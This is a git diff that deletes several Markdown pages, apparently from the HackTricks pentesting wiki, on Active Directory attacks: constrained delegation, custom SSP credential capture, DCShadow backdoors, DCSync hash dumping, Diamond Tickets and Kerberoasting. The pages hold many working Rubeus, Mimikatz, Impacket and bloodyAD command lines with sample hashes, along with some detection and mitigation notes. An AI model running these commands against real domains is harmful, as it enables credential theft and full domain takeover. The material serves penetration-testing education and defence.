-1. Collect once with an ADWS-compatible collector and work offline:
-   ```bash
-   rusthound-ce -d corp.local -u svc.collector -p 'Passw0rd!' -c All -z
-   ```
-2. Import the ZIP, mark the compromised principal as owned, and run built-in queries (*Kerberoastable Users*, *Shortest Paths to Domain Admins*) to surface SPN accounts with admin/infra rights.
-3. Prioritise SPNs by blast radius; review `pwdLastSet`, `lastLogon`, and allowed encryption types before cracking.
-4. Request only selected tickets, crack offline, then re-query BloodHound with the new access:
-   ```bash
-   netexec ldap dc01.corp.local -u svc.collector -p 'Passw0rd!' --kerberoasting kerberoast.txt --spn svc-sql
-   ```
-
-## Group3r
-
-[Group3r](https://github.com/Group3r/Group3r) enumerates **Group Policy Objects** and highlights misconfigurations.
-
-```bash
-# Execute inside the domain
-Group3r.exe -f gpo.log   # -s to stdout
-```
-
----
-
-## PingCastle
-
-[PingCastle](https://www.pingcastle.com/documentation/) performs a **health-check** of Active Directory and generates an HTML report with risk scoring.
-
-```powershell
-PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
-```
-
-## References
-
-- [BloodHound Community Edition v8 Launches with OpenGraph: Identity Attack Paths Beyond Active Directory & Entra ID](https://specterops.io/blog/2025/07/29/bloodhound-community-edition-v8-launches-with-opengraph-identity-attack-paths-beyond-active-directory-entra-id/)
-- [RustHound-CE](https://github.com/g0h4n/RustHound-CE)
-- [Beyond ACLs: Mapping Windows Privilege Escalation Paths with BloodHound](https://www.synacktiv.com/en/publications/beyond-acls-mapping-windows-privilege-escalation-paths-with-bloodhound.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/constrained-delegation.md b/src/windows-hardening/active-directory-methodology/constrained-delegation.md
deleted file mode 100644
index c41d430353b..00000000000
--- a/src/windows-hardening/active-directory-methodology/constrained-delegation.md
+++ /dev/null
@@ -1,137 +0,0 @@
-# Constrained Delegation
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Constrained Delegation
-
-Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against any **service** of a machine.
-
-- **Service for User to self (_S4U2self_):** If a **service account** has a _userAccountControl_ value containing [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
-- **Service for User to Proxy(_S4U2proxy_):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
-
-**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.
-
-This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to any **service** over the indicated machines (possible **privesc**).
-
-Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked (in the ticket this part is not encrypted/signed). Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus for example. The same SPN swapping weakness is abused by **Impacket getST -altservice** and other tooling.
-
-Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**.
-
-```bash:Enumerate
-# Powerview
-Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
-Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
-
-#ADSearch
-ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
-```
-
-```bash:Quick Way
-# Generate TGT + TGS impersonating a user knowing the hash
-Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
-```
-
-### Cross-domain constrained delegation notes (2025+)
-
-Since **Windows Server 2012/2012 R2** the KDC supports **constrained delegation across domains/forests** via S4U2Proxy extensions. Modern builds (Windows Server 2016–2025) keep this behaviour and add two PAC SIDs to signal protocol transition:
-
-- `S-1-18-1` (**AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY**) when the user authenticated normally.
-- `S-1-18-2` (**SERVICE_ASSERTED_IDENTITY**) when a service asserted the identity through protocol transition.
-
-Expect `SERVICE_ASSERTED_IDENTITY` inside the PAC when protocol transition is used across domains, confirming the S4U2Proxy step succeeded.
-
-### Impacket / Linux tooling (altservice & full S4U)
-
-Recent Impacket (0.11.x+) exposes the same S4U chain and SPN swapping as Rubeus:
-
-```bash
-# Get TGT for delegating service (hash/aes)
-getTGT.py contoso.local/websvc$ -hashes :8c6264140d5ae7d03f7f2a53088a291d
-
-# S4U2self + S4U2proxy in one go, impersonating Administrator to CIFS then swapping to HOST
-getST.py -spn CIFS/dc.contoso.local -altservice HOST/dc.contoso.local \
-         -impersonate Administrator contoso.local/websvc$ \
-         -hashes :8c6264140d5ae7d03f7f2a53088a291d -k -dc-ip 10.10.10.5
-
-# Inject resulting ccache
-export KRB5CCNAME=Administrator.ccache
-smbclient -k //dc.contoso.local/C$ -c 'dir'
-```
-
-If you prefer forging the user ST first (e.g., offline hash only), pair **ticketer.py** with **getST.py** for S4U2Proxy. See the open Impacket issue #1713 for current quirks (KRB_AP_ERR_MODIFIED when the forged ST doesn't match the SPN key).
-
-### Automating delegation setup from low-priv creds
-
-If you already hold **GenericAll/WriteDACL** over a computer or service account, you can push the required attributes remotely without RSAT using **bloodyAD** (2024+):
-
-```bash
-# Set TRUSTED_TO_AUTH_FOR_DELEGATION and point delegation to CIFS/DC
-KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local add uac WEBSRV$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
-KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local set object WEBSRV$ msDS-AllowedToDelegateTo -v 'cifs/dc.corp.local'
-```
-
-This lets you build a constrained delegation path for privesc without DA privileges as soon as you can write those attributes.
-
-- Step 1: **Get TGT of the allowed service**
-
-```bash:Get TGT
-# The first step is to get a TGT of the service that can impersonate others
-## If you are SYSTEM in the server, you might take it from memory
-.\Rubeus.exe triage
-.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
-
-# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
-## Get AES/RC4 with mimikatz
-mimikatz sekurlsa::ekeys
-
-## Request with aes
-tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
-.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
-
-# Request with RC4
-tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
-.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
-```
-
-> [!WARNING]
-> There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse
->
-> **Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.**
-
-- Step2: **Get TGS for the service impersonating the user**
-
-```bash:Using Rubeus
-# Obtain a TGS of the Administrator user to self
-.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
-
-# Obtain service TGS impersonating Administrator (CIFS)
-.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
-
-#Impersonate Administrator on different service (HOST)
-.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
-
-# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
-.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
-
-#Load ticket in memory
-.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
-```
-
-```bash:kekeo + Mimikatz
-#Obtain a TGT for the Constained allowed user
-tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
-
-#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
-tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
-
-#Load the TGS in memory
-Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
-```
-
-[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) and [**https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61**](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
-
-## References
-- [Kerberos Constrained Delegation Overview (Microsoft Learn, 2025)](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview)
-- [Impacket issue #1713 – S4U2proxy forged service ticket errors](https://github.com/fortra/impacket/issues/1713)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md
deleted file mode 100644
index 92d6a660e2f..00000000000
--- a/src/windows-hardening/active-directory-methodology/custom-ssp.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# Custom SSP
-
-{{#include ../../banners/hacktricks-training.md}}
-
-### Custom SSP
-
-[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
-
-#### Mimilib
-
-You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\
-Drop the dll in `C:\Windows\System32\`\
-Get a list existing LSA Security Packages:
-
-```bash:attacker@target
-PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
-
-HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
-    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
-```
-
-Add `mimilib.dll` to the Security Support Provider list (Security Packages):
-
-```bash
-reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
-```
-
-And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`
-
-#### In memory
-
-You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):
-
-```bash
-privilege::debug
-misc::memssp
-```
-
-This won't survive reboots.
-
-#### Mitigation
-
-Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/active-directory-methodology/dcshadow.md b/src/windows-hardening/active-directory-methodology/dcshadow.md
deleted file mode 100644
index 0132d7129da..00000000000
--- a/src/windows-hardening/active-directory-methodology/dcshadow.md
+++ /dev/null
@@ -1,113 +0,0 @@
-# DCShadow
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Basic Information
-
-It registers a **new Domain Controller** in the AD and uses it to **push attributes** (SIDHistory, SPNs...) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.\
-Note that if you use wrong data, pretty ugly logs will appear.
-
-To perform the attack you need 2 mimikatz instances. One of them will start the RPC servers with SYSTEM privileges (you have to indicate here the changes you want to perform), and the other instance will be used to push the values:
-
-```bash:mimikatz1 (RPC servers)
-!+
-!processtoken
-lsadump::dcshadow /object:username /attribute:Description /value="My new description"
-```
-
-```bash:mimikatz2 (push) - Needs DA or similar
-lsadump::dcshadow /push
-```
-
-Notice that **`elevate::token`** won't work in `mimikatz1` session as that elevated the privileges of the thread, but we need to elevate the **privilege of the process**.\
-You can also select and "LDAP" object: `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local`
-
-You can push the changes from a DA or from a user with this minimal permissions:
-
-- In the **domain object**:
-  - _DS-Install-Replica_ (Add/Remove Replica in Domain)
-  - _DS-Replication-Manage-Topology_ (Manage Replication Topology)
-  - _DS-Replication-Synchronize_ (Replication Synchornization)
-- The **Sites object** (and its children) in the **Configuration container**:
-  - _CreateChild and DeleteChild_
-- The object of the **computer which is registered as a DC**:
-  - _WriteProperty_ (Not Write)
-- The **target object**:
-  - _WriteProperty_ (Not Write)
-
-You can use [**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1) to give these privileges to an unprivileged user (notice that this will leave some logs). This is much more restrictive than having DA privileges.\
-For example: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose` This means that the username _**student1**_ when logged on in the machine _**mcorp-student1**_ has DCShadow permissions over the object _**root1user**_.
-
-## Using DCShadow to create backdoors
-
-```bash:Set Enterprise Admins in SIDHistory to a user
-lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
-```
-
-```bash:Chage PrimaryGroupID (put user as member of Domain Administrators)
-lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
-```
-
-```bash:Modify ntSecurityDescriptor of AdminSDHolder (give Full Control to a user)
-#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
-(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
-#Second, add to the ACE permissions to your user and push it using DCShadow
-lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
-```
-
-### Primary group abuse, enumeration gaps, and detection
-
-- `primaryGroupID` is a separate attribute from the group `member` list. DCShadow/DSInternals can write it directly (e.g., set `primaryGroupID=512` for **Domain Admins**) without on-box LSASS enforcement, but AD still **moves** the user: changing PGID always strips membership from the previous primary group (same behavior for any target group), so you cannot keep the old primary-group membership.
-- Default tools prevent removing a user from their current primary group (`ADUC`, `Remove-ADGroupMember`), so changing PGID typically requires direct directory writes (DCShadow/`Set-ADDBPrimaryGroup`).
-- Membership reporting is inconsistent:
-  - **Includes** primary-group-derived members: `Get-ADGroupMember "Domain Admins"`, `net group "Domain Admins"`, ADUC/Admin Center.
-  - **Omits** primary-group-derived members: `Get-ADGroup "Domain Admins" -Properties member`, ADSI Edit inspecting `member`, `Get-ADUser <user> -Properties memberOf`.
-- Recursive checks can miss primary-group members if the **primary group is itself nested** (e.g., user PGID points to a nested group inside Domain Admins); `Get-ADGroupMember -Recursive` or LDAP recursive filters will not return that user unless recursion explicitly resolves primary groups.
-- DACL tricks: attackers can **deny ReadProperty** on `primaryGroupID` at the user (or on the group `member` attribute for non-AdminSDHolder groups), hiding effective membership from most PowerShell queries; `net group` will still resolve the membership. AdminSDHolder-protected groups will reset such denies.
-
-Detection/monitoring examples:
-
-```powershell
-# Find users whose primary group is not the default Domain Users (RID 513)
-Get-ADUser -Filter * -Properties primaryGroup,primaryGroupID |
-  Where-Object { $_.primaryGroupID -ne 513 } |
-  Select-Object Name,SamAccountName,primaryGroupID,primaryGroup
-```
-
-```powershell
-# Find users where primaryGroupID cannot be read (likely denied via DACL)
-Get-ADUser -Filter * -Properties primaryGroupID |
-  Where-Object { -not $_.primaryGroupID } |
-  Select-Object Name,SamAccountName
-```
-
-Cross-check privileged groups by comparing `Get-ADGroupMember` output with `Get-ADGroup -Properties member` or ADSI Edit to catch discrepancies introduced by `primaryGroupID` or hidden attributes.
-
-## Shadowception - Give DCShadow permissions using DCShadow (no modified permissions logs)
-
-We need to append following ACEs with our user's SID at the end:
-
-- On the domain object:
-  - `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
-  - `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)`
-  - `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
-- On the attacker computer object: `(A;;WP;;;UserSID)`
-- On the target user object: `(A;;WP;;;UserSID)`
-- On the Sites object in Configuration container: `(A;CI;CCDC;;;UserSID)`
-
-To get the current ACE of an object: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl`
-
-Notice that in this case you need to make **several changes,** not just one. So, in the **mimikatz1 session** (RPC server) use the parameter **`/stack` with each change** you want to make. This way, you will only need to **`/push`** one time to perform all the stucked changes in the rouge server.
-
-[**More information about DCShadow in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)
-
-## References
-
-- [TrustedSec - Adventures in Primary Group Behavior, Reporting, and Exploitation](https://trustedsec.com/blog/adventures-in-primary-group-behavior-reporting-and-exploitation)
-- [DCShadow write-up in ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md
deleted file mode 100644
index c32c0c374fb..00000000000
--- a/src/windows-hardening/active-directory-methodology/dcsync.md
+++ /dev/null
@@ -1,138 +0,0 @@
-# DCSync
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## DCSync
-
-The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.
-
-**Important Notes about DCSync:**
-
-- The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
-- By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges.
-- In practice, **full DCSync** needs **`DS-Replication-Get-Changes` + `DS-Replication-Get-Changes-All`** on the domain naming context. `DS-Replication-Get-Changes-In-Filtered-Set` is commonly delegated together with them, but on its own it is more relevant for syncing **confidential / RODC-filtered attributes** (for example legacy LAPS-style secrets) than for a full krbtgt dump.
-- If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
-
-### Enumeration
-
-Check who has these permissions using `powerview`:
-
-```bash
-Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
-```
-
-If you want to focus on **non-default principals** with DCSync rights, filter out the built-in replication-capable groups and review only unexpected trustees:
-
-```powershell
-$domainDN = "DC=dollarcorp,DC=moneycorp,DC=local"
-$default = "Domain Controllers|Enterprise Domain Controllers|Domain Admins|Enterprise Admins|Administrators"
-Get-ObjectAcl -DistinguishedName $domainDN -ResolveGUIDs |
-  Where-Object {
-    $_.ObjectType -match 'replication-get' -or
-    $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl'
-  } |
-  Where-Object { $_.IdentityReference -notmatch $default } |
-  Select-Object IdentityReference,ObjectType,ActiveDirectoryRights
-```
-
-### Exploit Locally
-
-```bash
-Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
-```
-
-### Exploit Remotely
-
-```bash
-secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
-[-just-dc-user <USERNAME>] #To get only of that user
-[-ldapfilter '(adminCount=1)'] #Or scope the dump to objects matching an LDAP filter
-[-just-dc-ntlm] #Only NTLM material, faster/cleaner when you don't need Kerberos keys
-[-pwd-last-set] #To see when each account's password was last changed
-[-user-status] #Show if the account is enabled/disabled while dumping
-[-history] #To dump password history, may be helpful for offline password cracking
-```
-
-Practical scoped examples:
-
-```bash
-# Only the krbtgt account
-secretsdump.py -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
-
-# Only privileged objects selected through LDAP
-secretsdump.py -just-dc-ntlm -ldapfilter '(adminCount=1)' <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
-
-# Add metadata and password history for cracking/reuse analysis
-secretsdump.py -just-dc-ntlm -history -pwd-last-set -user-status <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
-```
-
-### DCSync using a captured DC machine TGT (ccache)
-
-In unconstrained-delegation export-mode scenarios, you may capture a Domain Controller machine TGT (e.g., `DC1$@DOMAIN` for `krbtgt@DOMAIN`). You can then use that ccache to authenticate as the DC and perform DCSync without a password.
-
-```bash
-# Generate a krb5.conf for the realm (helper)
-netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
-sudo tee /etc/krb5.conf < krb5.conf
-
-# netexec helper using KRB5CCNAME
-KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
-  netexec smb <DC_FQDN> --use-kcache --ntds
-
-# Or Impacket with Kerberos from ccache
-KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
-  secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
-```
-
-Operational notes:
-
-- **Impacket's Kerberos path touches SMB first** before the DRSUAPI call. If the environment enforces **SPN target name validation**, a full dump may fail with `Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user`.
-- In that case, either request a **`cifs/<dc>`** service ticket for the target DC first or fall back to **`-just-dc-user`** for the account you need immediately.
-- When you only have lower replication rights, LDAP/DirSync-style syncing can still expose **confidential** or **RODC-filtered** attributes (for example legacy `ms-Mcs-AdmPwd`) without a full krbtgt replication.
-
-`-just-dc` generates 3 files:
-
-- one with the **NTLM hashes**
-- one with the the **Kerberos keys**
-- one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) enabled. You can get users with reversible encryption with
-
-  ```bash
-  Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
-  ```
-
-### Persistence
-
-If you are a domain admin, you can grant this permissions to any user with the help of `powerview`:
-
-```bash
-Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
-```
-
-Linux operators can do the same with `bloodyAD`:
-
-```bash
-bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' add dcsync <TRUSTEE>
-```
-
-Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
-
-```bash
-Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
-```
-
-### Mitigation
-
-- Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
-- Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
-- Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
-- AD ACL Scanner - Create and compare create reports of ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
-
-## References
-
-- [https://github.com/fortra/impacket/blob/master/ChangeLog.md](https://github.com/fortra/impacket/blob/master/ChangeLog.md)
-- [https://simondotsh.com/infosec/2022/07/11/dirsync.html](https://simondotsh.com/infosec/2022/07/11/dirsync.html)
-- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
-- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
-- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/diamond-ticket.md b/src/windows-hardening/active-directory-methodology/diamond-ticket.md
deleted file mode 100644
index e3ca883e326..00000000000
--- a/src/windows-hardening/active-directory-methodology/diamond-ticket.md
+++ /dev/null
@@ -1,107 +0,0 @@
-# Diamond Ticket
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Diamond Ticket
-
-**Like a golden ticket**, a diamond ticket is a TGT which can be used to **access any service as any user**. A golden ticket is forged completely offline, encrypted with the krbtgt hash of that domain, and then passed into a logon session for use. Because domain controllers don't track TGTs it (or they) have legitimately issued, they will happily accept TGTs that are encrypted with its own krbtgt hash.
-
-There are two common techniques to detect the use of golden tickets:
-
-- Look for TGS-REQs that have no corresponding AS-REQ.
-- Look for TGTs that have silly values, such as Mimikatz's default 10-year lifetime.
-
-A **diamond ticket** is made by **modifying the fields of a legitimate TGT that was issued by a DC**. This is achieved by **requesting** a **TGT**, **decrypting** it with the domain's krbtgt hash, **modifying** the desired fields of the ticket, then **re-encrypting it**. This **overcomes the two aforementioned shortcomings** of a golden ticket because:
-
-- TGS-REQs will have a preceding AS-REQ.
-- The TGT was issued by a DC which means it will have all the correct details from the domain's Kerberos policy. Even though these can be accurately forged in a golden ticket, it's more complex and open to mistakes.
-
-### Requirements & workflow
-
-- **Cryptographic material**: the krbtgt AES256 key (preferred) or NTLM hash in order to decrypt and re-sign the TGT.
-- **Legitimate TGT blob**: obtained with `/tgtdeleg`, `asktgt`, `s4u`, or by exporting tickets from memory.
-- **Context data**: the target user RID, group RIDs/SIDs, and (optionally) LDAP-derived PAC attributes.
-- **Service keys** (only if you plan to re-cut service tickets): AES key of the service SPN to be impersonated.
-
-1. Obtain a TGT for any controlled user via AS-REQ (Rubeus `/tgtdeleg` is convenient because it coerces the client to perform the Kerberos GSS-API dance without credentials).
-2. Decrypt the returned TGT with the krbtgt key, patch PAC attributes (user, groups, logon info, SIDs, device claims, etc.).
-3. Re-encrypt/sign the ticket with the same krbtgt key and inject it into the current logon session (`kerberos::ptt`, `Rubeus.exe ptt`...).
-4. Optionally, repeat the process over a service ticket by supplying a valid TGT blob plus the target service key to stay stealthy on the wire.
-
-### Updated Rubeus tradecraft (2024+)
-
-Recent work by Huntress modernized the `diamond` action inside Rubeus by porting the `/ldap` and `/opsec` improvements that previously only existed for golden/silver tickets. `/ldap` now pulls real PAC context by querying LDAP **and** mounting SYSVOL to extract account/group attributes plus Kerberos/password policy (e.g., `GptTmpl.inf`), while `/opsec` makes the AS-REQ/AS-REP flow match Windows by doing the two-step preauth exchange and enforcing AES-only + realistic KDCOptions. This dramatically reduces obvious indicators such as missing PAC fields or policy-mismatched lifetimes.
-
-```powershell
-# Query RID/context data (PowerView/SharpView/AD modules all work)
-Get-DomainUser -Identity <username> -Properties objectsid | Select-Object samaccountname,objectsid
-
-# Craft a high-fidelity diamond TGT and inject it
-./Rubeus.exe diamond /tgtdeleg \
-  /ticketuser:svc_sql /ticketuserid:1109 \
-  /groups:512,519 \
-  /krbkey:<KRBTGT_AES256_KEY> \
-  /ldap /ldapuser:MARVEL\loki /ldappassword:Mischief$ \
-  /opsec /nowrap
-```
-
-- `/ldap` (with optional `/ldapuser` & `/ldappassword`) queries AD and SYSVOL to mirror the target user's PAC policy data.
-- `/opsec` forces a Windows-like AS-REQ retry, zeroing noisy flags and sticking to AES256.
-- `/tgtdeleg` keeps your hands off the cleartext password or NTLM/AES key of the victim while still returning a decryptable TGT.
-
-### Service-ticket recutting
-
-The same Rubeus refresh added the ability to apply the diamond technique to TGS blobs. By feeding `diamond` a **base64-encoded TGT** (from `asktgt`, `/tgtdeleg`, or a previously forged TGT), the **service SPN**, and the **service AES key**, you can mint realistic service tickets without touching the KDC—effectively a stealthier silver ticket.
-
-```powershell
-./Rubeus.exe diamond \
-  /ticket:<BASE64_TGT_OR_KRB-CRED> \
-  /service:cifs/dc01.lab.local \
-  /servicekey:<AES256_SERVICE_KEY> \
-  /ticketuser:svc_sql /ticketuserid:1109 \
-  /ldap /opsec /nowrap
-```
-
-This workflow is ideal when you already control a service account key (e.g., dumped with `lsadump::lsa /inject` or `secretsdump.py`) and want to cut a one-off TGS that perfectly matches AD policy, timelines, and PAC data without issuing any new AS/TGS traffic.
-
-### Sapphire-style PAC swaps (2025)
-
